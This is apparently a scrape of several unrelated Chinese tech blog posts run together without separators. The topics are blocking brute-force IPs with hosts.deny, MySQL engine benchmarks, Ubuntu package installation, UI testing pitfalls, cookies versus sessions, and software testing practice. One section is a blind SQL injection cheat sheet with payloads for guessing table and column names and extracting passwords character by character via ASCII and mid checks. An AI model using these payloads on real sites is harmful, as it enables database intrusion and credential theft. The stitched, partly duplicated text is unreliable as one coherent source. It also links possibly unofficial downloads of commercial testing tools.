我的一台公网服务器，由于网站采取的是双备份策略，所以开放了vsftpd的21端口，近来发现许多人在尝试暴力破解vsftpd和ssh，我随便看了看/var/log/secure日志，显示如下：

118.33.110.52=2834 119.145.254.77=37 121.254.179.199=226 121.88.250.243=35 200.29.110.104=168 202.78.173.199=250 222.221.2.210=373

　　这里面除了119.145.254.77和121.88.250.243是正常的外，其它的基本都是恶意IP。

　　由于我的服务器是置于LVS集群后面，所以我原来想用iptables的recent模块解决这个问题的方法估计是行不通的。而且，服务器的系统安装的是CentOS 5.5 x86_64，iptables还暂时不支持此模块，报错如下：

iptables: Unknown error 18446744073709551615 iptables: Unknown error 18446744073709551615

　　而由于机器已经在跑重要的业务，我又不想去升级内核，免得影响正常的网站运营，所以iptables的想法暂时告一段落;后来我又想到用HostsDeny的方法来解决这个问题，感觉这个方法还是比较繁琐，还不如自己手动写脚本来解决这个麻烦，脚本内容如下：

#! /bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /root/black.txt DEFINE="100" for i in `cat /root/black.txt` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i|awk -F= '{print $2}'` if [ $NUM -gt $DEFINE ]; then grep $IP /etc/hosts.deny > /dev/null if [ $? -gt 0 ]; then echo "sshd:$IP" >> /etc/hosts.deny echo "vsftpd:$IP" >> /etc/hosts.deny fi fi done

　　脚本思路如下：

　 　由于/var/log/secure是以星期为轮询的，所以我们每次可以查看这个文件，利用SHELL脚本统计出其中访问失败比较频繁的IP，并定义一 个阀值为100，如果大于100的话就将其放进/etc/hosts.deny文件，阻止其继续访问vsftpd和ssh;然后将其写进crontab计 划列表里，每隔一段时间进行一次排查，如果下次排查的某IP次数又大于100，首先检查它在不在我们的黑名单，如果在的话就无视过去;如果不在，就继续添 加进/etc/hosts.deny文件。

　　我的/etc/crontab文件最后一行为

* */1 * * * root sh /root/hosts_deny.sh

　　即每隔1小时就重复执行一次这个脚本，这里也有一个情况要说明下，/var/log/secure是每隔一个星期轮询一次的，所以我们这里可以根据服务器的具体情况来配置多少时间执行一次此脚本，暴力破解频繁的机器可适当缩小这个周期。

　　我的公网机器运行脚本一段时间后，/etc/hosts.deny文件如下：

sshd:119.145.254.77
vsftpd:119.145.254.77
sshd:222.221.2.210
vsftpd:222.221.2.210
sshd:118.218.136.25
vsftpd:118.218.136.25
sshd:118.33.110.52
vsftpd:118.33.110.52
sshd:123.196.113.11
vsftpd:123.196.113.11
sshd:14.140.172.74
vsftpd:14.140.172.74
sshd:200.29.110.104
vsftpd:200.29.110.104
sshd:202.102.89.81
vsftpd:202.102.89.81
sshd:202.78.173.199
http://www.51testing.com/html/57/n-809157.html

   自己在学习过程中总结的一些东西，在这发出来，希望对看到的人能有所帮助吧！ 猜解表名： and exists (select * from 表名) 猜解列名： and exists (select 字段 from 表名) UNION法： 联合查询： select name,password,id from user union select user,pwd,u自己在学习过程中总结的一些东西，在这发出来，希望对看到的人能有所帮助吧！

 
　　猜解表名： and exists (select * from 表名)

   and (select count(*) from admin)<>0

　　猜解列名： and exists (select 字段 from 表名)
　　UNION法：

　联合查询： select name,password,id from user union select user,pwd,uid from

　　爆指定表名内容： and 1=1 union select 1,2,3,4,5 from 表名
　　ASCII逐字解码法：
　　1、猜解列长度
　　猜解语句： and (select top 1 len(列名)from 表名)>N and (select top 1 len(列名)from 表名)=N
　　其中N是数字，变换这个N的值猜解列长度，例如：
and (select top 1 len(列名)from 表名)>1 and (select top 1 len(列名)from 表名)>6

　　如果一直猜到6都显示正常页面，猜到7的时候返回错误（大于6并且小于等于7），那么该列的长度为7。因为“top 1”的意思是把最靠前的1条记录给提取出来，所以如果要猜解第二条记录就该使用：

　　select top 1 len(列名) from 表名

　　where 列名 not in (select top 1 列名 from 表名)
　　2、ASCII码分析法猜解用户和密码

 　ASC()函数和Mid函数
　　例如：mid(列名,N,1)

　　ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码
　　猜解语句为：

　　and (select top 1 asc(mid(字段,1,1)) from 数据库名)=ASC码(通过转换工具换)

　区间判断语句：

　“......between......and......”

　　中文处理法:
　　当ASCII转换后为“负数”使用abs()函数取绝对值。

　　例：and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码(通过转换工具换)

    [硬件配置]
CPU : AMD2500+ (1.8G)
内存: 1G/现代
硬盘: 80G/IDE

[软件配置]
OS : Windows XP SP2
SE : PHP5.2.1
DB : MySQL5.0.37
Web: IIS6


[MySQL表结构]


[数据内容]

$name = "heiyeluren";
$content = "MySQL支持数个存储引擎作为对不同表的类型的处理器。MySQL存储引擎包括处理事务安全表的引擎和处理非事务安全表的引擎：· MyISAM管理非事务表。它提供高速存储和检索，以及全文搜索能力。MyISAM在所有MySQL配置里被支持，它是默认的存储引擎，除非你配置MySQL默认使用另外一个引擎。 ·MEMORY存储引擎提供“内存中”表。MERGE存储引擎允许集合将被处理同样的MyISAM表作为一个单独的表。就像MyISAM一样，MEMORY和MERGE存储引擎处理非事务表，这两个引擎也都被默认包含在MySQL中。 释：MEMORY存储引擎正式地被确定为HEAP引擎。· InnoDB和BDB存储引擎提供事务安全表。BDB被包含在为支持它的操作系统发布的MySQL-Max二进制分发版里。InnoDB也默认被包括在所有MySQL 5.1二进制分发版里，你可以按照喜好通过配置MySQL来允许或禁止任一引擎。·EXAMPLE存储引擎是一个“存根”引擎，它不做什么。你可以用这个引擎创建表，但没有数据被存储于其中或从其中检索。这个引擎的目的是服务，在MySQL源代码中的一个例子，它演示说明如何开始编写新存储引擎。同样，它的主要兴趣是对开发者。";


[插入数据-1] (innodb_flush_log_at_trx_commit=1)
MyISAM 1W：3/s
InnoDB 1W：219/s

MyISAM 10W：29/s
InnoDB 10W：2092/s

MyISAM 100W：287/s
InnoDB 100W：没敢测试

[插入数据-2] (innodb_flush_log_at_trx_commit=0)
MyISAM 1W：3/s
InnoDB 1W：3/s

MyISAM 10W：30/s
InnoDB 10W：29/s

MyISAM 100W：273/s
InnoDB 100W：423/s

[插入数据3] (innodb_buffer_pool_size=1024M)
InnoDB 1W：3/s
InnoDB 10W：33/s
InnoDB 100W：607/s

[插入数据4] (innodb_buffer_pool_size=256M, innodb_flush_log_at_trx_commit=1, set autocommit=0)

InnoDB 1W：3/s
InnoDB 10W：26/s
InnoDB 100W：379/s



[MySQL 配置文件] (缺省配置)





【总结】

可以看出在MySQL 5.0里面，MyISAM和InnoDB存储引擎性能差别并不是很大，针对InnoDB来说，影响性能的主要是 innodb_flush_log_at_trx_commit 这个选项，如果设置为1的话，那么每次插入数据的时候都会自动提交，导致性能急剧下降，应该是跟刷新日志有关系，设置为0效率能够看到明显提升，当然，同样你可以SQL中提交“SET AUTOCOMMIT = 0”来设置达到好的性能。另外，还听说通过设置innodb_buffer_pool_size能够提升InnoDB的性能，但是我测试发现没有特别明显的提升。

基本上我们可以考虑使用InnoDB来替代我们的MyISAM引擎了，因为InnoDB自身很多良好的特点，比如事务支持、存储过程、视图、行级锁定等等，在并发很多的情况下，相信InnoDB的表现肯定要比MyISAM强很多，当然，相应的在my.cnf中的配置也是比较关键的，良好的配置，能够有效的加速你的应用。

如果不是很复杂的Web应用，非关键应用，还是可以继续考虑MyISAM的，这个具体情况可以自己斟酌。

 

 LoadRunner 11：
http://219.239.26.11/download/8009651/9327422/3/zip/49/108/1286952922673_876/Software_HP_LoadRunner_11.00_T7177_15013.zip
http://h30316.www3.hp.com/prdownloads/Software_HP_LoadRunner_11.00_T7177_15013.z01?ordernumber=520699787&itemid=1&downloadid=57459549&merchantId=SGBU_ECATALOG&dlm=ON

  qtp 11:
http://www.genilogix.com/downloads/unified-functional-testing/quicktest-professional-11.iso

  qtp,LR,插件 http://www.ctdisk.com/u/584804/798994

下面是朋友推荐的国外网站：

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project        

http://www.whitehatsec.com

http://jeremiahgrossman.blogspot.com/

http://ha.ckers.org/

http://www.acunetix.com/blog/

    今天在Ubuntu11.10中安装Google chrome浏览器是遇到了问题，下载好的“.deb”格式的安装文件google-chrome-stable.deb双击后或者右键快捷菜单选择 Synaptic Package Manager 打开时均提示错误，改用命令的方式安装：

dpkg -i  google-chrome-stable.deb 

提示缺少一个依赖的软件包，按照提示安装完成后 Google Chrome浏览器顺利的安装完成。鉴于我们搞开发的人士或者一些linux爱好者需要时常在linux系统中安装一些软件，在此，对相关问题做一总结，以利己利人。


首先介绍两个简单的方式

第一：sudo apt-get install packagename 命令

如果我们知道我们要安装的软件的确切的名称，那么我们可以简单的通过此条命令来获取和安装软件。apt-get是一条linux命令，适用于deb 包管理式的操作系统，如ubuntu，主要用于自动从互联网的软件仓库中搜索、安装、升级、卸载软件。apt-get命令一般需要root执行，所以一般 跟着sudo命令。

一些常用的apt命令参数（更具体的可参见相关的帮助文档）：

    apt-cache search package 搜索包
    apt-cache show package 获取包的相关信息，如说明、大小、版本等
    sudo apt-get install package 安装包
    sudo apt-get install package - - reinstall 重新安装包
    sudo apt-get -f install 修复安装"-f = - -fix-missing"
    sudo apt-get remove package 删除包
    sudo apt-get remove package - - purge 删除包，包括删除配置文件等
    sudo apt-get update 更新源
    sudo apt-get upgrade 更新已安装的包
    sudo apt-get dist-upgrade 升级系统
    sudo apt-get dselect-upgrade 使用 dselect 升级
    apt-cache depends package 了解使用依赖
    apt-cache rdepends package 是查看该包被哪些包依赖
    sudo apt-get build-dep package 安装相关的编译环境
    apt-get source package 下载该包的源代码
    sudo apt-get clean && sudo apt-get autoclean 清理无用的包
    sudo apt-get check 检查是否有损坏的依赖

第二： 通过Synaptic Package Manager

中文名称叫做新立得软件包管理器，起源于Debian，是dpkg命令的图形化前端，或者说是前端软件套件管理工具。它能够在图形界面内完成 linux系统软件的搜寻、安装和删除，相当于终端里的apt命令。在ubuntu最近的长期支持版里已经预装了新立得软件包管理器。在没有安装它的系统 中，可以通过apt-get install synaptic 进行安装。

要运行新立得，点击系统 > 系统管理 > 新立得软件包管理器（System > Administration > Synaptic Package Manager）不同版本的Ubuntu进入Synaptic的方式可能会有所不同，不同版本的Synaptic也会存在一点点差异，但总体来讲是大同小 异，包管理器的使用方法也非常简单，完全是图形化的界面，摸索几次边一目了然，遇到不能解决的问题时可参考其帮助文档。此方法的缺点就是比较慢，尤其对于 一些开发人士来讲，另外，一些比较小众化的，不叫特殊的软件也不一定在此处找的到，这是我们就学要手动去下载一些软件来自行安装了。

如果不是通过上如两种方式来安装软件的话，便是通过自己下载所需软件然后手动安装了。我们下载到的软件无是“.deb”,".bin",".rpm"".tar.gz"这些格式，我们对此进行一一的说明：

1、”“.deb” 格式是Ubuntu可安装的类型，我们可以通过直接双击该格式的文件进行安装，就行Windows系统中的“.exe”安装程序一样。当然，我们也可以通过dpkg命令来安装我们下载好的软件，例如：

 dpkg -i xxx.deb 

其中参数 “-i” 表示安装的意思。dpkg的用法如下：

dpkg   [<选项>]  [参数]  软件全名

其中，选项可省，比如上例，更具体的用法请参阅其帮助文档（dpkg -h 或者 dpkg --help）。

2、'.rpm'格式是Red Hat Package Manager的简称，此工具包最先是由Red Hat公司推出的，后来被其他Linux开发商所借用。由于它为Linux使用者省去了很多时间，所以被广泛应用于在Linux下安装、删除软件。在 Ubuntu上不能双击运行“.rpm”格式的软件包，一般的方法是我们用alien把rpm转换为deb格式后再安装。Ubuntu没有默认安装 alien，所以先安装alien，命令为：

sudo apt-get install alien（详细参数可参见其帮助文档）

然后用alien命令进行转换：

sudo alien xxx.rpm （详细参数可参见其帮助文档）

这一步以后会生成一个同名的xxx.deb文件， 然后就可以双击或者通过dpkg命令安装了，但是这种方式不能保证100%成功。另外我们也可以在Ubuntu系统中安装RPM包管理器，通过rpm命令来安装，删除“.rpm”格式的软件包。命令用法如下：

rpm 参数 软件包名

常用的一些rpm命令参数如下（详细参数可参见其帮助文档）：

-i 安装软件包；
-e 移除软件包
 -vh：显示安装进度；
 -U：升级软件包；
 -qpl：列出RPM软件包内的文件信息；
 -qpi：列出RPM软件包的描述信息；
 -qf：查找指定文件属于哪个RPM软件包；
 -Va：校验所有的RPM软件包，查找丢失的文件；
 -qa: 查找相应文件

3、有时候，我们会下载到一些“.bin”格式的文件，如最近下载安装的 jdk-6u32-linux-i586.bin。对于这种类型的文件，我们一般赋予其可执行的属性，命令为：

chmod +x 文件名（具体用法可参见其帮助文档）

然后直接在命令行中执行该文件既可，比如我的当前目录下含有具有可执行属性的jdk-6u32-linux-i586.bin，直接执行

./jdk-6u32-linux-i586.bin

命令既可。当然，不同的软件可能还会有一些后续的命令，这个要以具体情况而定，比如安装这个jdk-6u32-linux-i586.bin就需要执行一些额外的后续命令来进行相关的配置。这个依照每个软件官方给出的指示，一步步执行既是。

4、最后要说的是“tar.gz”或者“.tar.bz2”这种格式的文件.“tar.gz”或者“.tar.bz2”一般情况下都是源代码的安装包，对于此种类型的软件包，我们一般先要通过命令将压缩包解压，然
后才能进行编译，继而进行安装。以”.tar.gz“格式为例，我们先要执行

 tar -zxvf FileName.tar.gz

以解压软件包，然后通过执行

./configure 

来进行配置，执行

make

来进行编译，执行make install

来进行安装，这里边每条命令都有详细的参数以完成完善复杂的功能，详请参阅每个命令的帮助文档。


谈完了安装接下来谈一谈如何卸载软件把。随着时间的推移我们不可避免要卸载掉一些软件，所以，掌握这些方法也是非常有必要的。

一开始，我们讲了两种简单的安装软件包的方法，与此对应，有两种简易的移除软件包的方式：

1、apt命令

移除式卸载，移除软件包:apt-get remove xxx
清除式卸载，把与软件安装有关的配置一起卸载：apt-get --purge remove xxx

2、通过Synaptic Package Manager 

简单的图形化界面，非常容易。找到要移除的软件包，点击移除（Remove）既可

还有一些其他的移除方式，如

dpkg方式：
移除式卸载：dpkg -r xxx
清除式卸载：dpkg -P xxx

rpm方式：
rpm -e xxx

尽管已经说得非常详细了，不过相信很多同人在进行这些操作时仍然会遇到诸多问题，此时我们应当保持冷静，应当通过输出内容认真分析造成错误的原因，参阅相应的帮助文档，或者像互联网求助，问题一定能得以解决。要多加培养分析解决问题的能力!

[如需转载，请在转载时注明出处，并保证本文的完整性，谢谢！]
       界面，和用户直接打交道的地方，重要性我想也不需要我多说，能够给客户第一印象你这个系统做的怎么样，通常我们会上一些网站或者系统，然后吐槽这个界面的设计，根本没考虑到客户的使用感受云云，顺便鄙视一下那个公司的测试人员（同行是冤家），根本没有站在用户的角度思考如何测试。那么，UI如此重要，但是漏测现象确是比比皆是，产品一经上网就被客户提一堆问题的现象时有发生，究其原因，首当其冲的当然是测试，我们客户一经使用就发现那么多问题，你测试了那么多版本怎么就没发现？我们测试和开发交流的时候不常常以客户自居么？什么代表客户测试，可是我们的这个“客户”确实应该检视一下自己的工作，是否存在遗漏。下面笔者以最近的测试过程分享下易漏测点，给自己，也给大家，有则改之，无则加勉。
       一、大数据量的场景：此现象在很多系统中很常见，由于实验室资源的限制，很多测试环境都构造相对较少的测试数据，大数据量要借助工具而且不一定能够在很短时间内搞定。可是我们从测试角度仔细一分析，这样会掩盖很多现象在测试环境中重现。简单的举例：大数据量的分页是否正常，大数据量检索是否正常，搜索的结果中分页是否正常，删除一条数据后下一页的数据是否能够正常跳转至前一页，多少条数据能够分页，排序是否正常，IE测试的时候是否在左下角有JS异常报出？如果某一个页面需要显示目前选择的数据（例如确认信息页面）是否能够显示完全？这些都需要我们在测试设计的时候就应该考虑的，怎么能够以资源不足作为借口搪塞？客户现场的批量的部署可是真真切切的使用场景，你能和客户说我们资源不足？起码你不是一个职业化的测试工程师。其实这种情况解决的方式很简单，设计的时候考虑，调用性能环境测功能，你的提单效率肯定大大提高。

       二、权限模块：目前的UI测试大部分是附带用户登陆等功能的，说明系统上网之后是要部署面向各式用户的情况的，目前软件系统对安全要求是相当的高的，很多系统就是因为安全漏洞被打回。当然安全本身是一个很大的模块，我们不便讨论，但是对于UI的功能测试来说，基本的不同角色的用户登陆系统能够看哪些不能看哪些这些总要覆盖的嘛。目前常见的系统都是将权限赋予角色，再由用户是哪种角色来决定用户能够查看或者使用哪些功能。其实这块添加用户的测试一般不会漏测太多，你只需将常用的方法用上，如用户名哪些限制，字符和长度边界值，密码长度，是否符合密码策略，是否采用加密的方法呈现在页面上。漏测点主要集中在权限交叉，读写删这些一交叉，就会懵，其实很多时候开发在做时也没有想清楚，我们作为把关人员肯定要比他们仔细，我们可以借助分析，矩阵的方式，交叉点主要集中在哪些地方，重点测试这些地方，没权限的执行系统会予提示，或者根本就不可见？最后提一句跟UI无关的，测试的时候记得看日志，是否有密码明文打印的地方，密码绝对是不允许直接打印在日志中的，有，就是严重的安全泄露问题。

      三、名称别名问题：大部分系统都会涉及到对象的名称和别名的问题，在UI测试过程中，如果名称作为存储数据库表的主键，那么该名称即不可修改，也不需要修改。别名的存在弥补了这一不足，在名称确定的情况下定义别名就是为了提供给客户自定义对象的权利，让用户对自己需要使用的对象提供自定义名称方便使用。在测试过程中我们测试人员要时刻关注被测试的对象显示的情况，这一点，firefox的fidbugs和google浏览器自带的消息返回检测机制做的很好，详细的显示出当前查询、添加等操作返回的结果以及页面上显示的内容。一般情况下用户修改完成别名之后，在所有该对象的地方都应该显示别名而不是名称（在测试的时候多留心），此处还有一个需要注意的地方就是名称被“写死”的情况，这种情况主要出现在根节点的情况，因为一个系统只有一个该对象，很容易被UI开发人员写死，心想反正不会改变的。殊不知这个也是对象，也会被修改别名的情况。
 
      四、多页面连接相同页面的回退问题：不知道兄弟们有没有这样的场景：C页面是完整的页面，A在调用的需要过程中嵌入C页面，B接口在调用的时候也需要嵌入C页面，这种情况在之前的系统和现在的系统都出现过，每次回退都让我很纠结。按照客户的使用习惯，回退的情况属于使用到一半不想继续下去或者误操作，那我们的回退的情况就应该和主流系统一样，从哪个页面来就回退到哪儿去。可是我们的系统基本上都会直接复制前端代码，这样的回退操作都是回到一个莫名其妙的起始页面上去了，让人丈二和尚摸不着头脑。果断提单。

      五、UI和接口的不同步问题（包括相同对象限制不一）：原则上接口和UI上都需要使用相同的限制，如最大值限制和字符限制，要求是接口允许的长度和字符数的限制比UI略松或者相等，不能出现UI允许但是接口无法完成添加数据入库的情况。这样就出现页面允许添加而接口下不去的情况。还有一点就是相同类型的对象的限制一定要统一，例如名称长度，描述允许的字符数，是否允许空格，如果开发人员无法提供，那么你可以招集SE和开发人员，确定了规则，UI测试如果没有规则，这个皮不知道要扯到哪儿去了。

      六、易用性问题：这一点没什么说的，看使用习惯，你就是客户，以你使用舒适为佳，仁者见仁智者见智，不好说什么，觉得不爽就可以提，开发不同意就提交SE裁决呗。

这些都是基础知识，不过有必要做深入了解。先简单介绍一下。

二者的定义：

当你在浏览网站的时候，WEB 服务器会先送一小小资料放在你的计算机上，Cookie 会帮你在网站上所打的文字或是一些选择，

都纪录下来。当下次你再光临同一个网站，WEB 服务器会先看看有没有它上次留下的 Cookie 资料，有的话，就会依据 Cookie

里的内容来判断使用者，送出特定的网页内容给你。 Cookie 的使用很普遍，许多有提供个人化服务的网站，都是利用 Cookie

来辨认使用者，以方便送出使用者量身定做的内容，像是 Web 接口的免费 email 网站，都要用到 Cookie。

具体来说cookie机制采用的是在客户端保持状态的方案，而session机制采用的是在服务器端保持状态的方案。

同时我们也看到，由于采用服务器端保持状态的方案在客户端也需要保存一个标识，所以session机制可能需要借助于cookie机制

来达到保存标识的目的，但实际上它还有其他选择。

cookie机制。正统的cookie分发是通过扩展HTTP协议来实现的，服务器通过在HTTP的响应头中加上一行特殊的指示以提示

浏览器按照指示生成相应的cookie。然而纯粹的客户端脚本如JavaScript或者VBScript也可以生成cookie。而cookie的使用

是由浏览器按照一定的原则在后台自动发送给服务器的。浏览器检查所有存储的cookie，如果某个cookie所声明的作用范围

大于等于将要请求的资源所在的位置，则把该cookie附在请求资源的HTTP请求头上发送给服务器。
 
cookie的内容主要包括：名字，值，过期时间，路径和域。路径与域一起构成cookie的作用范围。若不设置过期时间，则表示这

个cookie的生命期为浏览器会话期间，关闭浏览器窗口，cookie就消失。这种生命期为浏览器会话期的cookie被称为会话cookie。

会话cookie一般不存储在硬盘上而是保存在内存里，当然这种行为并不是规范规定的。若设置了过期时间，浏览器就会把cookie

保存到硬盘上，关闭后再次打开浏览器，这些cookie仍然有效直到超过设定的过期时间。存储在硬盘上的cookie可以在不同的浏

览器进程间共享，比如两个IE窗口。而对于保存在内存里的cookie，不同的浏览器有不同的处理方式

session机制。session机制是一种服务器端的机制，服务器使用一种类似于散列表的结构（也可能就是使用散列表）来保存信息。

          当程序需要为某个客户端的请求创建一个session时，服务器首先检查这个客户端的请求里是否已包含了一个session标识

（称为session id），如果已包含则说明以前已经为此客户端创建过session，服务器就按照session id把这个session检索出来

使用（检索不到，会新建一个），如果客户端请求不包含session id，则为此客户端创建一个session并且生成一个与此session相

关联的session id，session id的值应该是一个既不会重复，又不容易被找到规律以仿造的字符串，这个session id将被在本次响应

中返回给客户端保存。保存这个session id的方式可以采用cookie，这样在交互过程中浏览器可以自动的按照规则把这个标识发送给

服务器。一般这个cookie的名字都是类似于SEEESIONID。但cookie可以被人为的禁止，则必须有其他机制以便在cookie被禁止时

仍然能够把session id传递回服务器。

经常被使用的一种技术叫做URL重写，就是把session id直接附加在URL路径的后面。还有一种技术叫做表单隐藏字段。就是服务器

会自动修改表单，添加一个隐藏字段，以便在表单提交时能够把session id传递回服务器。比如：
<form. name="testform" action="/xxx">
<input type="hidden" name="jsessionid" value="ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764">
<input type="text">
</form>
实际上这种技术可以简单的用对action应用URL重写来代替。

cookie 和session 的区别：

1、cookie数据存放在客户的浏览器上，session数据放在服务器上。

2、cookie不是很安全，别人可以分析存放在本地的COOKIE并进行COOKIE欺骗
   考虑到安全应当使用session

3、session会在一定时间内保存在服务器上。当访问增多，会比较占用你服务器的性能
   考虑到减轻服务器性能方面，应当使用COOKIE

4、单个cookie在客户端的限制是3K，就是说一个站点在客户端存放的COOKIE不能3K。

5、所以个人建议：
   将登陆信息等重要信息存放为SESSION
   其他信息如果需要保留，可以放在COOKIE中

软件测试工作的核心技术在哪里？

 软件测试

　　测试这行，如果按照客观规律总的来说是：入门容易，提升难。 有些人做测试8-9年了，其针对同一个产品的测试思路和方法，与测试只有2-3年的人看不出有什么区别。于是行业中有了一种误区，认为测试技术的提升主要集中在对性能测试工具的使用及脚本开发，自动化测试开发，测试工具开发领域。仅个人愚见：测试工具开发和自动化测试开发 主要还是开发技术而不是测试技术，从没有做过测试分析，测试设计的开发人员也能胜任。如果仅狭义地认为测试技术的发展只在自动化测试框架开发或测试工具开发上，那么从逻辑上来说，任何一个开发人员都可以成为测试技术大拿。当然我想，没有人会真正这么认为。

　　开发工作的目标从一开始是非常明确的，要实现什么，要做什么，做到什么程度大多数情况下都是清晰的，最大的困难则是如何实现如何做到，总的来说是一个不断聚焦的过程。而测试工作的目标呢?其实很多时候，并不如开发那么明确，例如同样一个性能指标，开发很清楚要通过实现什么算法来达到目标，而测试则需要对该性能指标先进行测试分析，再进行测试设计，可是测试分析做到什么程度却是一个发散的过程， 2小时也可以，2天也不够，这就导致了测试质量的浮动范围是非常大的，由于开发和项目经理通常对测试设计并不了解，也无法了解(测试其实是一个专业度非常高的领域)，因此会导致测试部的工作质量很难在过程中真正去度量和监督。

　　从哲学上来说，确定性的规律往往难度不大，不确定性的规律往往说明它是一个复杂系统。因此，我个人认为：测试技术领域最难的技术应该是测试分析和设计。从另一个角度来看，测试价值的体现最主要还是保障自己组织开发的软件在关键应用时不要出故障，给组织造成商业损失。所以，有效的测试覆盖率是最重要的测试工作目标(而不是自动化测试率)，需要说明的是测试覆盖率不等于代码覆盖率。通过单元测试达到代码覆盖率100%了就能保障产品无bug其实是一个误区，因为很多组织会为了达到单元覆盖率而去开发单元测试代码，单元测试代码或单元测试设计的质量只能保障消除产品编码的问题，发现产品设计的问题则往往会很困难。而发现产品设计问题的最主要方法还得需要基于黑盒的测试分析和设计。

　　如何做好测试分析和测试设计，根据我的经验和体会，建议测试分析和测试设计主要通过3个维度来做，则可以大致达到一个比较高的有效测试覆盖率：

　　维度一：从用户实际使用的场景和习惯入手，开发一批测试用例;

　　优点： 可以覆盖到主要基本场景;

　　不足： 从事场景分析的人无法做到了解用户所有的场景，必定受参与测试分析资源限制会有场景遗漏;

　　维度二：通过测试对象内部实现流程的路径及依赖关系分析入手，开发一批测试用例;

　　优点：可填补维度一的部分遗漏场景，特别是异常处理和分支交互处理的场景;

　　不足：分析阶段主要精力会被局限在内部流程的熟悉和分析中，从而也会遗漏真实环境中的一些偶然小概率事件;

　　维度三：依赖基于经验的测试分析和设计，例如：错误猜测法或探索性测试法;

　　优点： 给维度二再做一次补充测试分析和设计;

　　不足： 维度三效果的质量高低取决于组织内部经验的积累量及测试人员思维的发散能力和创造性;

　　总得来说：无论是功能测试还是各种专项测试，依次使用以上3个维度的测试分析和设计，基本上能覆盖到被测对象的绝大部分应用场景，充分保障产品质量，减少问题遗漏。

　　因此：测试的核心技术是测试分析和测试设计的能力，它决定了后续所有测试活动的质量及效果。同时，要做好一个测试任务，掌握广泛的测试类型也是必要的核心技术，如：如何给每个测试对象做细做深压力测试，长时间测试，健壮性测试也是决定项目测试质量的关键所在。我本人不相信随便做做的压力测试设计和健壮性测试设计能够保障产品实际应用表现良好。

　　测试活动的质量或者一个测试工程师技术水平如何将主要取决于：测试分析和设计的深度及系统化，以及掌握广泛的专项测试类型。

测试计划
　　最近在一个接一个的做项目，每做一个项目都有不同的感受，我想按照测试计划，测试设计，测试执行三个方面梳理一下，和大家谈谈感受 。

　　最初做测试计划的时候会根据测试工作量来估评测试时间和资源，然后对三轮测试的时间点做一个细分。可是随着经历越来越多的项目，感受到这样计划是远远不够的，为了避免后续的测试执行工作节外生枝，我们在做测试计划时就必须多想一点，不光要多想还得想细致了。下面我谈一下项目计划中存在的风险，因为整个计划中有很多模块都是模板制定的，只有风险这一块需要经验积累才能识别更多，谈到的还是不很全面的，和大家交流交流。

　　1.提交应用测试的前提保证

　　这里说的提交应用测试的前提保证是指提交测试的时间，和提交测试的质量保证，如果说项目中开发新人较多，或者说项目属于改造重构性质的，这个能否按时按量提交测试是更需要关注的，那么面对这样的风险我们如何做好计划呢？

　　首先是在开发提交测试之前就需要pm整理出自测场景表单，然后我们评估是否有遗漏。那么对于这个是否遗漏又该如何把控呢？基本上是项目中每个模块中的主功能点必须进行自测。

　　其次需要和pm及时沟通，询问现在项目是否存在这样的风险，如果pm说按时提交测试确实有，那我们听下pm的打算并可以根据具体情况给出我们的建议，然后一定要求开发按照自测表单上的场景自测完全。

　　2.测试过程的保证

　　大部分项目在测试过程中都是按照三轮模型来执行，可是具体细节会根据项目性质的不同而不同。比如说有的项目涉及第三方，那么你在计划中就必须考虑到第三方合作伙伴那边出了问题该如何解决，找谁解决，同时需要注意解决方式，这里建议大家在和第三方合作的时候用邮件来说明问题并抄送合作方的老大，这样解决问题比较有效率。如果项目中涉及多条产品线，那么计划中就需要考虑到产品线合作间的划分问题以及依赖关系等等。

　　在做测试计划时就尽可能的将会发生的问题想到，并评估该风险发生的概率，事先想到缓解措施，那么你在后期的项目执行中才能有条不紊的按计划进行。

　　记得上次培训的时候老师也说过用户经验的积累是最有价值的，我现在感觉能很好很全面的做出计划也是很有价值的。

测试设计

　　从刚开始做测试起，接触的设计就是先以rose整理出流程图，必要时还需要用到子流程，从而一点点的将功能点的逻辑整理清晰，形成自己的思路，再转换成用例。可是后来渐渐做了几个项目之后，就感觉出问题来了。

　　1. 常常比较细节的点在流程图中体现不出来，从而设计过程中没有关注它，或者说仅仅只是想到那些细点，到写用例的时候才发现就这个细节上还有很多东西需要去确认。

　　2. 流程图中仅仅体现了是和否的逻辑，对于那些数据或者条件的多样性很难表现出来，到写用例的时候还是需要用表格或者在草稿纸上罗列一下。

　　于是再后来做测试设计就会先通过流程图来整理业务逻辑，而后再用excel来补充细节校验和场景罗列，这样做了几个项目之后又有问题了。

　　excel表格比较零散，针对某个功能点的校验，比如说边界值等等的融合会显得清晰很多，但是整个业务功能来说感觉还是不能串起来。模块之间的关联还是显得不够紧密，尤其是这样的一个个独立的excel使得细小的点太分散，存在很多重复劳动。

　　再后来做一个项目的时候尝试了一种新的方法，完全用excel做设计，不能说是最好的，但是感觉比设计比以前做的更清晰少遗漏了。这个方法是以用户的行为路径为主导，结合项目的业务逻辑来制作excel表头，其中表头还包括数据账号，预期结果，存在的疑问等等信息，这个是最难做的，需要头脑里有一个流程的概念，然后根据表头下面的业务逻辑进行条件细化，最后在各种条件下进行组合，整个excel会很庞大，但是连贯性比较好，而且非常方便的写用例，可以说接下来写用例完全没有什么难度。

　　这个方法我还在实践中，它当然也存在缺点，就是新人来看excel的测试设计没有看流程图的excel设计容易理解，而且这个设计方法对业务的熟练程度是有一定要求的，接下来的项目我会继续使用这样的方法，慢慢体会好与不足之处，一点点的做的更好。

测试执行

　　带过多次项目之后越来越觉得测试执行是最能体现团队合作和管理控制能力的。当然，前期的测试计划做的周全对测试执行帮助是很大的。但是常言计划赶不上变化，而且测试计划是从大局观来说的，执行过程中是每天的一个活动，所以常常在执行阶段还需要好好的把控。我习惯性是这样做：

　　1.前期做好约定

